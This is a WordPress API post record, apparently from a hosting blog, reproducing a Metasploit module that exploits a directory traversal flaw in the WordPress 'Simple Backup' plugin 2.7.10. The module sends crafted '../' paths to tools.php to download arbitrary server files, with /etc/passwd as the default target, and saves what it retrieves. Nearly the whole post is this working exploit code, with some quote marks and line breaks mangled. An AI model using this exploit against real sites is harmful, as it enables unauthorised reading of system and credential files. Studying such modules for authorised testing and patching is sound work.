##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘WordPress Simple Backup File Read Vulnerability’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability in WordPress Plugin
“Simple Backup” version 2.7.10, allowing to read arbitrary files with the
web server privileges.
},
‘References’ =>
[
[‘WPVDB’, ‘7997’],
[‘PACKETSTORM’, ‘131919’]],
‘Author’ =>
[
‘Mahdi.Hidden’, # Vulnerability Discovery
‘Roberto Soares Espreto <robertoespreto[at]gmail.com>’ # Metasploit Module
],
‘License’ => MSF_LICENSE
))<\/p>\n
register_options(
[
OptString.new(‘FILEPATH’, [true, ‘The path to the file to read’, ‘\/etc\/passwd’]),
OptInt.new(‘DEPTH’, [ true, ‘Traversal Depth (to reach the root folder)’, 6 ])
])
end<\/p>\n
def check
check_plugin_version_from_readme(‘simple-backup’, ‘2.7.11’)
end<\/p>\n
def run_host(ip)
traversal = ‘..\/’ * datastore[‘DEPTH’]filename = datastore[‘FILEPATH’]filename = filename[1, filename.length] if filename =~ \/^\\\/\/<\/p>\n
res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => normalize_uri(wordpress_url_backend, ‘tools.php’),
‘vars_get’ =>
{
‘page’ => ‘backup_manager’,
‘download_backup_file’ => “#{traversal}#{filename}”
}
)<\/p>\n
unless res && res.body
vprint_error(“Server did not respond in an expected way.”)
return
end<\/p>\n
if res.code == 200 &&
res.body.length > 0 &&
res.headers[‘Content-Disposition’] &&
res.headers[‘Content-Disposition’].include?(‘attachment; filename’) &&
res.headers[‘Content-Length’] &&
res.headers[‘Content-Length’].to_i > 0<\/p>\n
vprint_line(“#{res.body}”)
fname = datastore[‘FILEPATH’]\n
path = store_loot(
‘simplebackup.traversal’,
‘text\/plain’,
ip,
res.body,
fname
)<\/p>\n
print_good(“File saved in: #{path}”)
else
vprint_error(“Nothing was downloaded. You can try to change the DEPTH parameter or verify the correct filename.”)
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,‘Name’ => ‘WordPress Simple Backup File Read Vulnerability’,‘Description’ => %q{This module exploits a directory traversal vulnerability in WordPress Plugin“Simple Backup” version 2.7.10, allowing to read arbitrary files with theweb server privileges.},‘References’ =>[[‘WPVDB’, ‘7997’],[‘PACKETSTORM’, ‘131919’]],‘Author’ =>[‘Mahdi.Hidden’, # …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59346","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59346"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59346\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}